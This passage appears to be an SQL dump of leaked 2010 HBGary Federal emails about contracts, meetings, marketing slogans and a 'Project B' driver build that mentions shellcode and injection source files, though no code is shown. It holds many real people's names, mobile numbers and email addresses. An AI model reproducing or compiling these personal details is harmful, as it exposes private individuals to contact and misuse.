services\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent,\r\nand could mean viruses and banking malware\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global\r\nCyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that\r\nwe offer an Enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Defense in&nbsp;Hostile Cyberspace\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2825,'aaron_hbgary_com/2825.html'),(5194,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003819.M829960P14101Q49.eml','scott@hbgary.com,\"Martin Pillion\" <martin@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Project B','Scott / Martin,\r\n\r\nMark was able to download Vista 64 last Friday from MSDN, but he is\r\nhaving problems getting the code to run (see his email below).  Can we\r\nschedule some time today for Martin and Mark to discuss?  Given that\r\nthis is due to the customer next week, I think we need to get Martin\r\nstarted on porting to the remaining 64-bit OS\'s as soon as possible.\r\nShawn and Sherri will be back tomorrow, and they said they may have some\r\ntime to help (depending on other contract workload).\r\n\r\nTed\r\n\r\n--- Email from Mark ---\r\n\r\nTed,\r\n\r\nHere\'s what I\'ve been trying to work through and where I\'m stuck now.  I\r\ndid a complete clean rebuild of the target system after all the issues I\r\nhad before and this is where I got stuck late Saturday night :\r\n\r\nFriday I downloaded the Windows Vista 64bit operating system from the\r\nMSDN.  Setup a partition on the target machine and installed Vista.\r\nDownloaded Visual Studio 2008 and the WDK and installed those as well.\r\nMoved the most recent ClearhHat code I received via Email over\r\nand followed the General Installation Instructions in the README.txt\r\nfile located in the Updated Version\\x64 directory.  Assembled the\r\nstub.asm and InjectSv64.asm in the shellcode64 folder using MASM-64.\r\nMoved the InjectSv64.obj to the root directory of C:\\.  Put the stub.asm\r\ninto the objchk_wlh_amd64\\amd64 directory.  Ran the DDK command Checked\r\nBuild Environment console wince the code was in the objchk_with_amd64\r\ndirectory. did a build -g command to build the driver and received no\r\nerrors.  Found a projectf_64.c file in the Updated Version/x64 folder so\r\nI ran the build command there and received two warnings and two errors :\r\n\r\nBUILD: Compile and Link for AMD64\r\nBUILD: Loading e:\\winddk\\build.dat...\r\nBUILD: Computing Include file dependencies:\r\nBUILD: Start time: Mon Apr 12 10:52:49 2010\r\nBUILD: Examining e:\\clearhat\\updated version\\x64 directory for f\r\n\r\nBUILD: Saving e:\\winddk\\build.dat...\r\nBUILD: Compiling and Linking e:\\clearhat\\updated version\\x64 dir\r\nConfiguring OACR for \'root:amd64chk\' - \r\n1>errors in directory e:\\clearhat\\updated version\\x64\r\n1>NMAKE : warning U4006: special macro undefined : \'$c:\\workroot\\projectf2\\x64\\objchk_wlh_amd64\\amd64 : error \'jvc\'\r\ned as an internal or external command,\r\n1>NMAKE : warning U4006: special macro undefined : \'$c:\\workroot\\projectf2\\x64\\objchk_wlh_amd64\\amd64 : error \'jvc\'\r\ned as an internal or external command,\r\nBUILD: Finish time: Mon Apr 12 10:52:50 2010\r\nBUILD: Done\r\n\r\nand this is where I\'m stuck.  I googled the JVC errors \"\'jvc\'\r\ned as an internal or external command\" and believe it may be a path\r\nissue, however, I\'m still not sure what the output should be, after the\r\nbuild command because the instructions stop there or if I\'m heading down\r\nthe wrong path in what I\'ve been doing to get this to create the driver.\r\n\r\nThanks,\r\nMark\r\n',12733,'aaron_hbgary_com/12733.html'),(5195,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003820.M205845P14101Q50.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Fwd: NOTHING YET','Still waiting for Guardian award announcement, see Dan\'s note below...\r\n\r\nTed\r\n\r\n\r\n\r\n-------- Original Message --------\r\nSubject: NOTHING YET\r\nDate: Mon, 12 Apr 2010 14:19:50 -0400\r\nFrom: Willis, Dan \r\nTo: Ted Vera \r\n\r\nI spoke with the contracting officer last week and she\'s overwhelmed\r\nwith other things.  It\'s sitting on her desk.  At least it\'s not dead.\r\n\r\n\r\n\r\nDan\r\n\r\n\r\n\r\n____________________\r\n\r\nDan B. Willis\r\n\r\nDirector, IO Programs\r\n\r\nInformation Dominance Division\r\n\r\nMacAulay-Brown, Inc.\r\n\r\nOffice  (210) 732-7417\r\n\r\nFax     (210) 732-1012\r\n\r\nMobile (210) 363-2332\r\n\r\nWeb     www.macb.com\r\n\r\n\r\n\r\n\r\n',15520,'aaron_hbgary_com/15520.html'),(5196,'2010-04-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003820.M403037P14101Q51.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Hello again','FYI --\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Apr 12, 2010 at 12:33 PM\r\nSubject: Re: Hello again\r\nTo: \"Potter, Stanley\" \r\n\r\n\r\nNo problem Stan, I understand what it\'s like to be busy, lol.  I\r\nhaven\'t been contacted by your colleague yet.  Here\'s another\r\nwhitepaper that we published last week that may interest you.  It\r\ndescribes how HBGary Responder can be used for software exploitation.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Wed, Mar 31, 2010 at 7:43 AM, Potter, Stanley  wrote:\r\n> Ted,\r\n>\r\n> It\'s great to hear from you again.  My apologies for not responding\r\n> sooner.  I had been in the middle of 5 straight weeks of travel and it\'s\r\n> taken a while to catch up on e-mail.  Congratulations on your new role\r\n> leading HBGary Federal.\r\n>\r\n> Thanks very much for the Aurora analysis. If you don\'t mind, I\'m going\r\n> to share your analysis and contact information with a colleague who has\r\n> an interest in Aurora.  I hope to be in touch soon.\r\n>\r\n> Take care,\r\n> Stan Potter\r\n> NCSC Trusted Computing Lead\r\n> (240) 373-4093\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, February 09, 2010 12:09 PM\r\n> To: Potter, Stanley\r\n> Subject: Hello again\r\n>\r\n> Hi Stan,\r\n>\r\n> It\'s been a while.  I think the last time we saw each other was when you\r\n> came out to visit us with Don in Colorado Springs.  I have since left\r\n> Northrop Grumman, now leading HBGary Federal.  Attached is a final draft\r\n> report we wrote, analyzing Aurora.  I thought you might be interested in\r\n> a sneak preview, this will be released later this week.\r\n>\r\n> Hope all is well,\r\n> Ted\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13724,'aaron_hbgary_com/13724.html'),(5197,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003820.M615114P14101Q52.eml','\"Ted Vera\" <tedvera@me.com>','Fwd: Potential Opportunity','From my iPhoneBegin forwarded message:From: Phil Wallisch &lt;phil@hbgary.com&gt;\r\nDate: April 12, 2010 1:53:45 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Potential Opportunity\r\nAaron,My friend owns a government contracting company.  He sent me the following information.  They do business with these guys:Subject: DOE Cyber Security\r\nAssessment\r\n\r\n \r\n\r\nTotal Small Business set\r\naside.  Response due 16 April at 11:59PM...\r\n\r\n \r\n\r\nPrime contractor to DOE NNSA,\r\nis seeking sources to perform an assessment of our cyber security program on a\r\nfirm\r\n\r\nfixed price subcontract.  The\r\nSubcontractor shall perform a baseline assessment of the cyber program (3000\r\nemployees) based on the control\r\n\r\nfamilies found in NIST SP\r\n800-53.  Subcontractor shall provide two additional site visits (estimated\r\n1 week per visit) this fiscal year to\r\n\r\nmeasure progress in meeting\r\ndeficiencies identified during the baseline visit.  Contractor key\r\npersonnel must have the ability to acquire a Q level\r\n\r\nsecurity clearance. \r\n\r\n \r\n\r\nInterested parties must\r\ndemonstrate technical capability by providing brief approach of how the assessment\r\nwill be conducted (limited to 3 pages) and\r\n\r\ndemonstrate a minimum experience\r\nof 5 years and 3 assessments similar in scope and magnitude.If you&#39;re interested I&#39;ll get more info.-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',9900,'aaron_hbgary_com/9900.html'),(5198,'2010-04-12','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003820.M846585P14101Q53.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Potential Opportunity','This is the one I mentioned to you earlier. &nbsp;I forwarded it to Lawrence (not noticing that it is a total SB set aside, lol).We don\'t have any Cert/Accred experience with NIST. &nbsp;I thought we might team with TASC to provide some on the ground Responder help, but since it\'s a SB set aside that\'s out of the picture now...TedOn Apr 12, 2010, at 12:37 PM, Aaron Barr wrote:From my iPhoneBegin forwarded message:From: Phil Wallisch &lt;phil@hbgary.com&gt;\r\nDate: April 12, 2010 1:53:45 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Potential Opportunity\r\nAaron,My friend owns a government contracting company.&nbsp; He sent me the following information.&nbsp; They do business with these guys:Subject: DOE Cyber Security\r\nAssessment&nbsp;Total Small Business set\r\naside.&nbsp; Response due 16 April at 11:59PM...&nbsp;Prime contractor to DOE NNSA,\r\nis seeking sources to perform an assessment of our cyber security program on a\r\nfirmfixed price subcontract.&nbsp; The\r\nSubcontractor shall perform a baseline assessment of the cyber program (3000\r\nemployees) based on the controlfamilies found in NIST SP\r\n800-53.&nbsp; Subcontractor shall provide two additional site visits (estimated\r\n1 week per visit) this fiscal year tomeasure progress in meeting\r\ndeficiencies identified during the baseline visit.&nbsp; Contractor key\r\npersonnel must have the ability to acquire a Q levelsecurity clearance. &nbsp;Interested parties must\r\ndemonstrate technical capability by providing brief approach of how the assessment\r\nwill be conducted (limited to 3 pages) anddemonstrate a minimum experience\r\nof 5 years and 3 assessments similar in scope and magnitude.If you\'re interested I\'ll get more info.-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n',1080,'aaron_hbgary_com/1080.html'),(5199,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003821.M275301P14101Q55.eml','chris.walker.m@gmail.com','Resume','Hi Chris,\r\n\r\nI received your resume from Mike Tillman and would like to set up a conversation to talk to you about HBGary Federal.  Let me know when you have some availability to talk.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3407,'aaron_hbgary_com/3407.html'),(5200,'2010-04-12','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297003821.M482378P14101Q56.eml','\"Lachow, Irving\" <LachowI@ndu.edu>,\"Aaron Barr\" <aaron@hbgary.com>','Oops','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI goofed.&nbsp; I&#8217;ve got something at 1000.&nbsp; Can we\r\ndo 0800 to 1000?&nbsp; Sorry.\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving \r\nSent: Monday, April 12, 2010 3:10 PM\r\nTo: Aaron Barr\r\nSubject: RE: Follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat.&nbsp; How about 0900 to 1100?&nbsp; Location is 2231\r\nCrystal Drive, Suite 900.&nbsp; (The building where Ruth&#8217;s Chris Steak\r\nHouse resides).&nbsp; Are you SCI cleared?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 12:12 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMorning of the 20th looks good. &nbsp;Just let me know where\r\nand time. &nbsp;I will block out the morning.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 9:26 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\nGreat to meet you in\r\nperson.&nbsp; I&#8217;m excited about the opportunities that lie ahead.&nbsp;\r\nLet&#8217;s get together and plan out some proposals that we can pitch to\r\nvarious agencies.&nbsp; I also think that we should put forward one or two\r\nideas for the Defense Acquisition\r\nChallenge program.&nbsp; How&#8217;s your schedule the morning of the 20th?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail: lachowi@ndu.edu\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2084,'aaron_hbgary_com/2084.html'),(5201,'2010-04-12','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297003821.M62024P14101Q54.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: NDA and Collaboration','Dear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.We would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1A 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.caCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and CollaborationNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.How often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478',16810,'aaron_hbgary_com/16810.html'),(5202,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003821.M722955P14101Q57.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Stock Photo Image','istock.com\r\n\r\nOn Apr 12, 2010, at 12:44 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Who is this with?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, April 12, 2010 6:32 AM\r\n> To: Penny Leavy\r\n> Cc: Greg Hoglund\r\n> Subject: Stock Photo Image\r\n> \r\n> Hi Penny,\r\n> \r\n> Do you guys have a stock photo account.\r\n> \r\n> Do you already have a copy of the following image?\r\n> ist2_3953520-3d-helix-with-binary-code\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',996,'aaron_hbgary_com/996.html'),(5203,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003822.M252346P14101Q59.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Potential Opportunity','Thanks Phil. &nbsp;Ted and I are checking on this. &nbsp;The work described is more C&amp;A work, which is not our strong suite, but we know some folks that do this for a living and checking on whether or not they could sub to us going after this effort.AaronOn Apr 12, 2010, at 1:53 PM, Phil Wallisch wrote:Aaron,My friend owns a government contracting company.&nbsp; He sent me the following information.&nbsp; They do business with these guys:Subject: DOE Cyber Security\r\nAssessment&nbsp;Total Small Business set\r\naside.&nbsp; Response due 16 April at 11:59PM...&nbsp;Prime contractor to DOE NNSA,\r\nis seeking sources to perform an assessment of our cyber security program on a\r\nfirmfixed price subcontract.&nbsp; The\r\nSubcontractor shall perform a baseline assessment of the cyber program (3000\r\nemployees) based on the controlfamilies found in NIST SP\r\n800-53.&nbsp; Subcontractor shall provide two additional site visits (estimated\r\n1 week per visit) this fiscal year tomeasure progress in meeting\r\ndeficiencies identified during the baseline visit.&nbsp; Contractor key\r\npersonnel must have the ability to acquire a Q levelsecurity clearance. &nbsp;Interested parties must\r\ndemonstrate technical capability by providing brief approach of how the assessment\r\nwill be conducted (limited to 3 pages) anddemonstrate a minimum experience\r\nof 5 years and 3 assessments similar in scope and magnitude.If you\'re interested I\'ll get more info.-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12251,'aaron_hbgary_com/12251.html'),(5204,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003822.M33118P14101Q58.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Oops','Sure. &nbsp;8-10 works for me. &nbsp;See you then.AaronOn Apr 12, 2010, at 3:12 PM, Lachow, Irving wrote:Aaron,I goofed.&nbsp; I’ve got something at 1000.&nbsp; Can we do 0800 to 1000?&nbsp; Sorry.Cheers,Irv&nbsp;From:&nbsp;Lachow, Irving&nbsp;Sent:&nbsp;Monday, April 12, 2010 3:10 PMTo:&nbsp;Aaron BarrSubject:&nbsp;RE: Follow up&nbsp;Great.&nbsp; How about 0900 to 1100?&nbsp; Location is 2231 Crystal Drive, Suite 900.&nbsp; (The building where Ruth’s Chris Steak House resides).&nbsp; Are you SCI cleared?Cheers,Irv&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 12, 2010 12:12 PMTo:&nbsp;Lachow, IrvingSubject:&nbsp;Re: Follow up&nbsp;Morning of the 20th looks good. &nbsp;Just let me know where and time. &nbsp;I will block out the morning.&nbsp;Aaron&nbsp;On Apr 9, 2010, at 9:26 AM, Lachow, Irving wrote:&nbsp;Aaron,Great to meet you in person.&nbsp; I’m excited about the opportunities that lie ahead.&nbsp; Let’s get together and plan out some proposals that we can pitch to various agencies.&nbsp; I also think that we should put forward one or two ideas for the Defense&nbsp;Acquisition Challenge program.&nbsp; How’s your schedule the morning of the 20th?Cheers,IrvIrving Lachow, Ph.D.ProfessoriCollegeNational Defense UniversityFort Lesley J. McNairWashington, DC 20319Work: (202) 685-2060Cell: (202) 903-7722Email:&nbsp;lachowi@ndu.edu&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8007,'aaron_hbgary_com/8007.html'),(5205,'2010-04-12','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297003822.M702143P14101Q60.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp; How about 0900 to 1100?&nbsp; Location is 2231\r\nCrystal Drive, Suite 900.&nbsp; (The building where Ruth&#8217;s Chris Steak\r\nHouse resides).&nbsp; Are you SCI cleared?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 12:12 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMorning of the 20th looks good. &nbsp;Just let me know where\r\nand time. &nbsp;I will block out the morning.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 9:26 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nGreat to meet you in\r\nperson.&nbsp; I&#8217;m excited about the opportunities that lie ahead.&nbsp;\r\nLet&#8217;s get together and plan out some proposals that we can pitch to\r\nvarious agencies.&nbsp; I also think that we should put forward one or two\r\nideas for the Defense Acquisition\r\nChallenge program.&nbsp; How&#8217;s your schedule the morning of the 20th?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail: lachowi@ndu.edu\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13210,'aaron_hbgary_com/13210.html'),(5206,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003822.M910906P14101Q61.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: meeting next week with US-CERT','Sure. &nbsp;Give me a call.AaronOn Apr 12, 2010, at 1:37 PM, Maria Lucas wrote:Aaron\r\n&nbsp;\r\nIs there a good time to speak with you this week in preparation for the meeting with GD/US-CERT?\r\n&nbsp;\r\nI told Phil that I would get an agenda so that he is aware of who will be driving the meeting / objectives and what he will be expected to present.\r\n&nbsp;\r\nPhil has been working with the US-CERT recently.&nbsp; Although they have had Responder Pro for over a year it was mostly shelfware until recently.&nbsp; The US-CERT has (3) copies of Responder Pro with Digital DNA.&nbsp; After the meeting Phil will stay and work with Sean Soberiej on tips and tricks.&nbsp; I\'ve not been able to get the US-CERT folks yet to formal training.\r\n\r\n&nbsp;\r\nI&nbsp;assume there is an opportunity to sell them the DDNA Server Farm with customization for HBGary Federal in addition to the other objectives of the meeting...&nbsp; I will review with Penny as well.\r\n&nbsp;\r\nThanks\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',28,'aaron_hbgary_com/28.html'),(5207,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003823.M143743P14101Q62.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','Congratulations.Standing by.AaronOn Apr 12, 2010, at 1:04 PM, Mulville, Michael E. wrote:\r\nAaron -  we won. Found out very late Friday.More to follow\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Mulville, Michael E.\r\nSent: Mon Apr 12 12:08:52 2010Subject: Re: Virtual Introduction\r\n\r\nPostponed again or did you get news? &nbsp;I have been looking but haven\'t seen anything.AaronOn Apr 5, 2010, at 2:26 PM, Mulville, Michael E. wrote:Aaron – Now looks like April 9th&nbsp;– per NSA&nbsp;&nbsp;&nbsp;r /Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 2:19 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hey Mike,&nbsp;Any word?&nbsp;Aaron&nbsp;On Mar 16, 2010, at 9:35 PM, Mulville, Michael E. wrote:Aaron –&nbsp;Announcement slipped til March 31&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 4:52 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hey Mike,&nbsp;Just checking in. &nbsp;Last time we talked we didn\'t talk about NANA. &nbsp;If you win are you guys going to need any staffing help?&nbsp;Have a good weekend.&nbsp;Aaron&nbsp;On Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal 